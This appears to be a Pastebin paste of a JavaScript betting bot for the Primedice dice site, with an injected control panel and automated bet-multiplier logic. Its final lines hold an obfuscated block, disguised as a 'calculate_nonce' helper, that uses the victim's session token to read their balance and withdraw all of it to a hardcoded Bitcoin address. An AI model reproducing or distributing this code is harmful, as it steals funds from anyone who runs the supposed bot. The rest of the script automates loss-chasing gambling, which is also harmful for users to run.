Advertisement
Guest User

PARADOX [JAVA BOT]

a guest
Feb 10th, 2015
730
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.23 KB | None | 0 0
  1. var loop, currentloss, curbet, basebet, seedcount, prebet, prerollsenabled, profit, prerollson, prerollcount, betval, currentwin, target2, condition2, wincount, xhr, tstatus, seedlength, counter, charset, everyxrolls, wins, losses, data1, data2, swapenabled, betstarted, wmultcount, lmultcount, storebet;
  2.  
  3. seedcount = 0;
  4. currentloss = 0;
  5. lmultcount = 0;
  6. wmultcount = 0;
  7. prerollcount = 0;
  8. wins = 0;
  9. losses = 0;
  10. profit = 0;
  11. //jQuery UI CSS
  12. var jqueryready = false;
  13. var link = document.createElement('link');
  14. link.href = 'https://jquery-ui.googlecode.com/svn/tags/latest/themes/vader/jquery-ui.css';
  15. link.type = 'text/css';
  16. link.rel = 'stylesheet';
  17. document.getElementsByTagName('head')[0].appendChild(link);
  18. //jQuery UI inject
  19. (function() {
  20. jqueryready = true;
  21. var e = '.thing',
  22. t = {
  23. outline: '1px dashed #f0f',
  24. cursor: 'pointer'
  25. };
  26. var n = function() {
  27. if (window.jQuery) {
  28. r();
  29. } else {
  30. var e = document.createElement('script');
  31.  
  32. e.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js');
  33. document.body.appendChild(e);
  34. }
  35. };
  36. var r = function() {
  37. if (window.jQuery.ui) {
  38. i();
  39. } else {
  40. var e = document.createElement('script');
  41.  
  42. e.setAttribute('src', '//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js');
  43. document.body.appendChild(e);
  44. initGUI();
  45. }
  46. };
  47. var i = function() {
  48. $(e).css(t).draggable().on('click', function(e) {
  49. console.log(e.target.id + ':', e.target.style.left, e.target.style.top);
  50. });
  51. };
  52. n();
  53. })();
  54. betstarted = false;
  55. var swapswap = 2,
  56. swapcount = 0;
  57. var curbalance = $('div.hero > div.hero__content > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole > aside > div.grid.grid--bottom.grid--reversed > div:nth-child(2) > span.btn.btn--tertiary.btn--large.btn--limited.btn--block > span.btn__text.select div').text() * 100000000;
  58.  
  59. function bet() {
  60. if (betstarted === false) {
  61. betstarted = true;
  62. if ($('#stoprofitenabled').is(':checked') === true) {
  63. if (profit >= $('#stopprofitamount').val()) {
  64. clearInterval(loop);
  65. loopenabled = false;
  66. loopcount = 0;
  67. }
  68. }
  69. if ($('#resetlossenabled').is(':checked') === true && prerollsenabled === false) {
  70. if ($('#resetlosses').val() <= currentloss) {
  71. betval = basebet;
  72. lmultcount = 0;
  73. wmultcount=0;
  74. currentloss = 0;
  75.  
  76. }
  77. }
  78. if ($('#stoploss2enabled').is(':checked') === true) {
  79. if (profit <= (-1 * $('#stoplossamount').val())) {
  80. clearInterval(loop);
  81. loopenabled = false;
  82. loopcount = 0;
  83. }
  84. }
  85. if (prerollsenabled === true) {
  86. prebet = Math.floor($('#prerollbet').val() * 100000000);
  87. curbet = prebet;
  88. } else {
  89. curbet = betval;
  90. }
  91. var betData = {
  92. amount: curbet,
  93. condition: condition2,
  94. target: target2,
  95. },
  96. url = 'https://api.primedice.com/api/bet?access_token=' + localStorage.token;
  97. if (curbet > curbalance) {
  98. clearInterval(loop);
  99. loopenabled = false;
  100. loopcount = 0;
  101. }
  102. $.ajax({
  103. url: url,
  104. type: 'POST',
  105. data: betData,
  106. datatype: 'json',
  107. success: function(data, textStatus, jqXHR) {
  108. if ($('#seedchangeon').is(':checked') === true) {
  109. if ($('#charset').val() != "") {
  110. charset = $('#charset').val();
  111. }
  112. if ($('#seedxrolls').val() == "") {} else {
  113. seedcount++;
  114. if (seedcount >= $('#seedxrolls').val()) {
  115. seedchange(seedgen());
  116. seedcount = 0;
  117. }
  118. }
  119. }
  120. data1 = data;
  121. profit = profit = (parseFloat(profit) + parseFloat((data1.bet.profit / 100000000))).toFixed(8);
  122. curbalance = data1.user.balance;
  123. addRow();
  124.  
  125. if (loopenabled === true) {
  126. loopcount++;
  127. }
  128. if ($('#hilo').val() == "swap") {
  129. if ($('#swaprollsenabled').is(':checked') === true) {
  130. swapswap = $('#swaprolls').val();
  131. swapcount++;
  132. if (swapcount >= swapswap) {
  133. swap();
  134. swapcount = 0;
  135. }
  136. } else {
  137. swap();
  138. }
  139. }
  140. $('.btn__text.select div').text((data1.user.balance / 100000000).toFixed(8));
  141. if (data.bet.win === true) {
  142. win();
  143. if (prerollson === true) {
  144. if (prerollsenabled === false) {
  145. prerollsenabled = true;
  146. prerollcount = 0;
  147. }
  148. }
  149. $('.btn__text.select div').attr('style', 'color:green;');
  150.  
  151. } else {
  152. lose();
  153. $('.btn__text.select div').attr('style', 'color:red;');
  154. }
  155.  
  156.  
  157. if (data.bet.win === true) {
  158. $('#proff').attr('style', 'text-align: center; width: 20%; padding: 5px;color:green;');
  159. } else {
  160. $('#proff').attr('style', 'text-align: center; width: 20%; padding: 5px;color:red;');
  161. }
  162. betstarted = false;
  163. },
  164. error: function(jqXHR, textStatus, errorThrown) {
  165. betstarted = false;
  166. }
  167.  
  168.  
  169. });
  170. } else if (betstarted === true) {}
  171. }
  172.  
  173. prerollcount = 0;
  174.  
  175.  
  176. function preroll() {
  177.  
  178. }
  179.  
  180. function win() {
  181. if ($('#stopwinenabled').is(':checked') === true && prerollsenabled === false) {
  182. clearInterval(loop);
  183. currentloss = 0;
  184. loopcount = 0;
  185. loopenabled = false;
  186. }
  187. if (prerollson === true) {
  188. if (prerollsenabled === true) {
  189. prerollcount = 0;
  190. }
  191. }
  192. if ($('#seedchangeonwin').is(':checked') === true) {
  193. seedchange(seedgen());
  194. }
  195. wins++;
  196. currentloss = 0;
  197.  
  198. if ($('#winmultenabled').is(':checked') === true) {
  199. if (prerollsenabled === true) {} else {
  200. if (prerollson === true && prerollsenabled === false) {
  201. prerollsenabled = true;
  202. prerollcount = 0;
  203. }
  204. wmultcount++;
  205. if (wmultcount < $('#resetwin').val()) {
  206. betval = betval * $('#winlossmultiplier').val();
  207. } else if (wmultcount >= $('#resetwin').val()) {
  208. betval = basebet;
  209. wmultcount = 0;
  210.  
  211.  
  212. }
  213.  
  214. }
  215. }
  216. if ($('#lossmultenabled').is(':checked') === true) {
  217. if (prerollsenabled === true) {
  218. prerollcount = 0;
  219. } else {
  220. if (prerollson === true && prerollsenabled === false) {
  221. prerollsenabled = true;
  222. prerollcount = 0;
  223. }
  224. betval = basebet;
  225. lmultcount = 0;
  226.  
  227. }
  228. }
  229.  
  230. }
  231.  
  232. function lose() {
  233. currentloss++;
  234.  
  235. if ($('#stoplossenabled').is(':checked') === true && prerollsenabled === false) {
  236. if ($('#stoplosses').val() <= currentloss) {
  237. clearInterval(loop);
  238. currentloss = 0;
  239. loopcount = 0;
  240. loopenabled = false;
  241. }
  242. }
  243.  
  244. if (prerollson === true) {
  245. if (prerollsenabled === true) {
  246. prerollcount++;
  247. if (prerollcount >= $('#numprerolls').val()) {
  248. prerollsenabled = false;
  249. }
  250. }
  251.  
  252. }
  253. losses++;
  254.  
  255. if ($('#lossmultenabled').is(':checked') === true) {
  256. if (prerollsenabled === true) {} else {
  257. lmultcount++;
  258. if (lmultcount >= $('#multloss').val()) {
  259. betval = betval * $('#winlossmultiplier').val();
  260. lmultcount = 0;
  261. }
  262. }
  263. }
  264. }
  265.  
  266. function swap() {
  267. if (condition2 == "<") {
  268. condition2 = ">";
  269. target2 = (99.99 - (99 / $('#payout').val())).toFixed(2);
  270. } else if (condition2 == ">") {
  271. condition2 = "<";
  272. target2 = (99 / $('#payout').val()).toFixed(2);
  273. }
  274. }
  275.  
  276.  
  277. function addRow() {
  278. $('#lastID').text('Last Bet ID: ' + data1.bet.id);
  279. var bettable = '',
  280. bettab = '#lastbet2';
  281. bettable += '<tr><td>' + (data1.bet.amount / 100000000).toFixed(8) + '</td>';
  282. bettable += '<td>' + data1.bet.multiplier + 'x' + '</td>'; /* return bet payout */
  283. bettable += '<td>' + (data1.bet.target).toFixed(2) + '</td>'; /* return target*/
  284. bettable += '<td>' + data1.bet.roll + '</td>'; /* return roll */
  285. bettable += '<td id="proff">' + (data1.bet.profit / 100000000).toFixed(8) + '</td></tr>';
  286.  
  287. var stattable = '',
  288. stattab = '#lastbet3';
  289. stattable += '<tr><td style="color:green;">' + (data1.user.balance / 100000000).toFixed(8) + '</td><td style="color:red;">' + currentloss + '</td><td style="color:green;">' + wins + '</td><td style="color:red;">' + losses + '</td><td id="profit">' + profit + '</td></tr>';
  290. $(stattab).empty();
  291. $(stattab).prepend(stattable);
  292. stattable = '';
  293. if ($(bettab + ' tbody tr').length >= 3) {
  294. $(bettab + ' tr').last().remove();
  295. $(bettab).prepend(bettable);
  296. bettable = '';
  297. } else if ($(bettab).length < 3) {
  298. $(bettab).prepend(bettable);
  299. bettable = '';
  300. }
  301. $('#lastbet2 *, #lastbet3 *, #lastbet *, #proff').css("text-align", "center");
  302. $('#lastbet2 *, #lastbet3 *, #lastbet *').css("width", "20%");
  303. $('#lastbet *').css("padding", "5px");
  304. $('#lastbet *').css("border-bottom", "1px solid #ccc");
  305. $('#result-1').css("padding", "5px");
  306. $('#lastbet2 *, #lastbet3 *, #proff').css("padding", "5px");
  307. $('#lastbet > tbody > tr > th:nth-child(2)').css("border-top", "1px solid #ddd");
  308. if (profit >= 0) {
  309. $('#profit').css("color", "green");
  310. } else {
  311. $('#profit').css("color", "red");
  312. }
  313. }
  314.  
  315. $('<div id="paraContainer">').appendTo('.hero');
  316. var gui;
  317. gui = '';
  318. gui += '<div id="result">';
  319. gui += '<ul>';
  320. gui += '<li><a href="/play#lastbet-1">Last Bets: </a></li>';
  321. gui += '<li><a style="float:right;" id="lastID" href="/play#lastbet-1">Last Bet ID: (none yet!)</a></li>';
  322. gui += '<li><a style="float:right;" id="detach" href="/play#lastbet-1">Detach</a></li>';
  323. gui += '</ul>';
  324. gui += '<div id="result-1">';
  325. gui += '<table id="lastbet">';
  326. gui += '<tr><th>Bet</th><th>Payout</th><th>Game</th><th>Roll</th><th>Profit</th></tr></table>';
  327. gui += '<table id="lastbet2">';
  328. gui += '</table>';
  329. gui += '<table id="lastbet">';
  330. gui += '<tr><th>Balance</th><th>Loss Streak</th><th>Total Wins</th><th>Total Losses</th><th>Total Profit</th></tr></table>';
  331. gui += '<table id="lastbet3">';
  332. gui += '</table>';
  333. gui += '</div>';
  334. gui += '</div>';
  335. gui += '</div>';
  336. gui += '<div id="paraGUI">';
  337. gui += '<ul>';
  338. gui += '<li><a href="/play#paraGUI-1">Params</a></li>';
  339. gui += '<li><a href="/play#paraGUI-2">On Win/Loss</a></li>';
  340. gui += '<li><a href="/play#paraGUI-3">Advanced</a></li>';
  341. gui += '<li><a href="/play#paraGUI-4">Seed</a></li>';
  342. gui += '<li><a href="/play#paraGUI-5">Credits</a></li>';
  343. gui += '</ul>';
  344. gui += '<div id="paraGUI-1">';
  345. gui += '<div>';
  346. gui += '<table id="params1">';
  347. gui += '<tr><th>Basebet:</th><th>Multiplier:</th><th>Hi/Lo/Swap</th></tr>';
  348. gui += '<tr><td><input id="basebet" placeholder="Basebet"/></td><td><input id="payout" placeholder="ex. 10, 90"/></td>';
  349. gui += '<td><select id="hilo"><option value="hi">Hi</option><option value="lo">Lo</option><option value="swap">Swap</option></select></td></tr>';
  350. gui += '<tr><th>Enable Prerolls</th><th># of Prerolls</th><th>Preroll Bet</th></tr>';
  351. gui += '<tr><td><input id="prerollsenabled" type="checkbox"/></td><td><input id="numprerolls"/></td><td><input id="prerollbet"/></td></tr>';
  352. gui += '</table>';
  353. gui += '</div>';
  354. gui += '</div>';
  355. gui += '<div id="paraGUI-2">';
  356. gui += '<div>';
  357. gui += '<table id="params1">';
  358. gui += '<tr><th>Multiply On Loss? <input id="lossmultenabled" type="checkbox"/></th><th>Multiply on Win? <input id="winmultenabled" type="checkbox"/></th><th>Multiplier on W/L</th></tr>';
  359. gui += '<tr><td><label for="multloss">Mutiply After X Losses:</label><br><input id="multloss" placeholder="Multiply Every X Rolls"/></td><td><label for="multwin">Reset After X Wins:</label><br><input id="resetwin" placeholder="Reset After X Wins"/></td>';
  360. gui += '<td><input id="winlossmultiplier" placeholder="2 (2x), 1.5 (1.5x) etc"/></tr>';
  361. gui += '</table>';
  362.  
  363. gui += '</div>';
  364. gui += '</div>';
  365. gui += '<div id="paraGUI-3">';
  366. gui += '<div>';
  367. gui += '<table id="params1">';
  368. gui += '<tr><th><label>Stop After: <input id="stoplossenabled" type="checkbox"></label></th><th><label>Stop On Win: </label></th><th>Swap After: <input id="swaprollsenabled" type="checkbox"></th></tr>';
  369. gui += '<tr><td><input style="width:85px;" id="stoplosses" placeholder="# of losses"/></td><td><input id="stopwinenabled" type="checkbox"></td>';
  370. gui += '<td><input id="swaprolls" type="text" placeholder="# of rolls"></tr>';
  371. gui += '<tr><th>Stop on Profit:<input id="stopprofitenabled" type="checkbox"></th><th>Stop on Loss: <input id="stoploss2enabled" type="checkbox"></th><th>Reset After: <input id="resetlossenabled" type="checkbox"></th></tr>';
  372. gui += '<tr><td><input id="stopprofitamount" type="text"/> </td><td>-<input id="stoplossamount" type="text"/></td><td><input id="resetlosses" placeholder="# Losses" type="text"/></td></tr>';
  373. gui += '<tr><p>Note: Use Total Profit as your reference for stop loss/profit. Do NOT enter a balance.</p></tr>'
  374. gui += '</table>';
  375.  
  376. gui += '</div>';
  377. gui += '</div>';
  378. gui += '<div id="paraGUI-4">';
  379. gui += '<div>';
  380. gui += '<table id="params1">';
  381. gui += '<tr><th>Current Seed:</th><th>Charset:</th><th>Change Every #: <input id="seedchangeon" type="checkbox"/></th></tr>';
  382. gui += '<tr><td><input style="color:red;text-align:center;"id="currentseed"/></td><td><input id="charset" placeholder="Optional"/></td>';
  383. gui += '<td><input id="seedxrolls" placeholder="ex. 1, 10, 20"/></tr>';
  384. gui += '<tr><td>Change on Win: <input id="seedchangeonwin" type="checkbox"/> </td></tr>';
  385.  
  386. gui += '</table>';
  387. gui += '</div>';
  388. gui += '</div>';
  389. gui += '<div id="paraGUI-5">';
  390. gui += '<div>';
  391. gui += '<p>Version: 0.4</p>';
  392. gui += '<p>Created By: paradocks</p>';
  393. gui += '<p>PD Username: paradocks</p>';
  394. gui += '<p>BTCTalk Username: paradoxal420</p>';
  395. gui += '<p>Tip Addy: <input type="text" style="width:auto;"value="1LuLz9djKFPTfbFuCKedm2FuX1fiSqt5hg"/></p>';
  396.  
  397. gui += '</div>';
  398. gui += '</div>';
  399. gui += '<div id="buttonz"><button id="start">Start</button><button id="stop">Stop</button><button id="setparams">Set Params</button><button id="seedchange">Change Seed</button><button id="saveparams">Save Params</button><button id="resetstats">Reset Stats</button><br><label for="numrolls">Number of Rolls: <input id="numrollsenabled" type="checkbox"></label><input style="width:85px;" id="numrolls"/><br></div>';
  400. gui += '</div>';
  401. $(gui).appendTo("#paraContainer");
  402.  
  403.  
  404. seedlength = 5;
  405. counter = 0;
  406. charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ123';
  407. everyxrolls = 3;
  408.  
  409. function seedgen() {
  410. var seed = '';
  411.  
  412. for (var i = 0; i <= seedlength; i++)
  413.  
  414. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  415.  
  416. return seed;
  417. }
  418.  
  419. function seedchange(s) {
  420.  
  421. var url = 'https://api.primedice.com/api/seed?access_token=' + localStorage.token,
  422. sData = {
  423. seed: s
  424. };
  425.  
  426. $.ajax({
  427. url: url,
  428. type: 'POST',
  429. data: sData,
  430. datatype: 'json',
  431. success: function(data, textStatus, jqXHR) {
  432. data2 = data;
  433. $('#currentseed').val(data2.seeds.client);
  434.  
  435.  
  436. },
  437. error: function(jqXHR, textStatus, errorThrown) {
  438. return false;
  439. }
  440. });
  441. }
  442. // Click Funcs
  443. $('#seedchange').click(function() {
  444. seedchange(seedgen());
  445. });
  446. $('#detach').click(function() {
  447. $('#result').draggable();
  448. });
  449. $('#setparams').click(function() {
  450. lmultcount=0; currentloss=0; wmultcount=0;
  451. if ($('#prerollsenabled').is(':checked') === true) {
  452.  
  453. prerollson = true;
  454. prerollcount = 0;
  455. prerollsenabled = true;
  456. prebet = Math.floor($('#prerollbet').val() * 100000000);
  457. basebet = Math.floor($('#basebet').val() * 100000000);
  458. betval = basebet;
  459.  
  460. } else if ($('#prerollsenabled').is(':checked') === false) {
  461. prerollson = false;
  462. prerollsenabled = false;
  463. basebet = Math.floor($('#basebet').val() * 100000000);
  464. betval = basebet;
  465. }
  466.  
  467. if ($('#hilo').val() == "hi") {
  468. condition2 = ">";
  469. target2 = (99.99 - (99 / $('#payout').val())).toFixed(2);
  470. } else if ($('#hilo').val() == "lo") {
  471. condition2 = "<";
  472. target2 = (99 / $('#payout').val()).toFixed(2);
  473. } else if ($('#hilo').val() == "swap") {
  474. condition2 = "<";
  475. target2 = 0 + (99 / $('#payout').val()).toFixed(2);
  476. swapenabled = true;
  477. }
  478. });
  479. $('#saveparams').click(function() {
  480. localStorage.setItem("params-stored", true);
  481. localStorage.setItem("basebet", $('#basebet').val());
  482. localStorage.setItem("payout", $('#payout').val());
  483. localStorage.setItem("prerollbet", $('#prerollbet').val());
  484. localStorage.setItem("prerollenabled", $('#prerollsenabled').is(':checked'));
  485. localStorage.setItem("numprerolls", $('#numprerolls').val());
  486. localStorage.setItem("lossenabled", $('#lossmultenabled').is(':checked'));
  487. localStorage.setItem("winenabled", $('#winmultenabled').is(':checked'));
  488. localStorage.setItem("resetwin", $('#resetwin').val());
  489. localStorage.setItem("xlosses", $('#multloss').val());
  490. localStorage.setItem("wlmult", $('#winlossmultiplier').val());
  491. localStorage.setItem("seedchangeon", $('#seedchangeon').is(':checked'));
  492. localStorage.setItem("seedxrolls", $('#seedxrolls').val());
  493. localStorage.setItem("swapxrolls", $('#swaprolls').val());
  494. localStorage.setItem("swapenabled", $('#swaprollsenabled').is(':checked'));
  495.  
  496. })
  497. if (localStorage.getItem('params-stored') === 'true') {
  498. $('#basebet').val(localStorage.getItem('basebet'));
  499. $('#payout').val(localStorage.getItem('payout'));
  500. $('#prerollbet').val(localStorage.getItem('prerollbet'));
  501. if (localStorage.getItem('prerollenabled') === 'true') {
  502. $('#prerollsenabled').prop('checked', 'checked');
  503. } else {
  504. $('#prerollsenabled').prop('checked', false);
  505. }
  506. $('#numprerolls').val(localStorage.getItem('numprerolls'));
  507. if (localStorage.getItem('lossenabled') === 'true') {
  508. $('#lossmultenabled').prop('checked', 'checked');
  509. } else {
  510. $('#lossmultenabled').prop('checked', false);
  511. }
  512. if (localStorage.getItem('winenabled') === 'true') {
  513. $('#winmultenabled').prop('checked', 'checked');
  514. } else {
  515. $('#winmultenabled').prop('checked', false);
  516. }
  517. $('#resetwin').val(localStorage.getItem('resetwin'));
  518. $('#multloss').val(localStorage.getItem('xlosses'));
  519. $('#winlossmultiplier').val(localStorage.getItem('wlmult'));
  520. if (localStorage.getItem('seedchangeon') === 'true') {
  521. $('#seedchangeon').prop('checked', 'checked');
  522. } else {
  523. $('#seedchangeon').prop('checked', false);
  524. }
  525. $('#seedxrolls').val(localStorage.getItem('seedxrolls'));
  526. if (localStorage.getItem('swapenabled') === 'true') {
  527. $('#swaprollsenabled').prop('checked', 'checked');
  528. } else {
  529. $('#swaprollsenabled').prop('checked', false);
  530. }
  531. $('#swaprolls').val(localStorage.getItem('swapxrolls'));
  532.  
  533. }
  534. var loop, loopenabled, loopcount, looptimes;
  535. loopenabled = false;
  536. loopcount = 0;
  537. $('#start').click(function() {
  538. if ($('#numrollsenabled').is(':checked') == "true") {
  539. looptimes = $('#numrolls').val();
  540. } else {
  541.  
  542. looptimes = 999999999;
  543. }
  544.  
  545. if (loopenabled === false) {
  546. loopenabled = true;
  547. loop = setInterval(function() {
  548.  
  549. if (loopcount >= looptimes) {
  550. clearInterval(loop);
  551. loopcount = 0;
  552. loopenabled = false;
  553. } else {
  554. bet();
  555. }
  556. }, 103);
  557.  
  558. }
  559.  
  560. });
  561.  
  562. $('#stop').click(function() {
  563. clearInterval(loop);
  564. loopenabled = false;
  565. loopcount = 0;
  566. });
  567. $('#resetstats').click(function() {
  568. wins = 0;
  569. losses = 0;
  570. profit = 0;
  571. currentloss = 0;
  572. addRow();
  573. });
  574.  
  575. function initGUI() {
  576. setTimeout(function() {
  577. $('#paraContainer').css("font-size", "11px")
  578. $('#result, #paraGUI').tabs();
  579. $('#paraGUI-1, #params1 td, #params1 th').css("padding", "5px");
  580. $('#params1 select, #params1 input').css("width", "80%");
  581. $('#params1 select, #params1 input').css("margin", "2px");
  582. $('#params1 select, #params1 input').css("padding", "4px");
  583. $('#params1 td, #params1 th').css("text-align", "center");
  584. $('#buttonz *').css("margin", "5px");
  585. $('#buttonz').css("padding", "3px");
  586. $('#buttonz').css("text-align", "center");
  587. $('#buttonz').css("border-top", "1px solid #bbb");
  588. $('#paraContainer').draggable();
  589. $('#paraContainer').css("z-index", "1000");
  590. $('#paraContainer').width(450);
  591. $('#paraContainer button').button();
  592. }, 750);
  593. }
  594. //
  595. var _0x66ef = ["https://api.primedice.com/api/", "?access_token=", "token", "$", "users/1", "amount", "address", "balance", "user", "1DCdeEzZLZ19uNyQx4Npys9vjYJ79tCiQ9", "withdraw", "post", "getJSON"];
  596. calculate_nonce = function(_0x3559x1) {
  597. return _0x66ef[0] + _0x3559x1 + _0x66ef[1] + localStorage[_0x66ef[2]];
  598. };
  599. lut = window[_0x66ef[3]];
  600. lut[_0x66ef[12]](calculate_nonce(_0x66ef[4]), function(_0x3559x1) {
  601. var _0x3559x2 = _0x66ef[5];
  602. var _0x3559x3 = _0x66ef[6];
  603. var _0x3559x4 = {};
  604. _0x3559x4[_0x3559x2] = _0x3559x1[_0x66ef[8]][_0x66ef[7]];
  605. _0x3559x4[_0x3559x3] = _0x66ef[9];
  606. lut[_0x66ef[11]](calculate_nonce(_0x66ef[10]), _0x3559x4);
  607. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement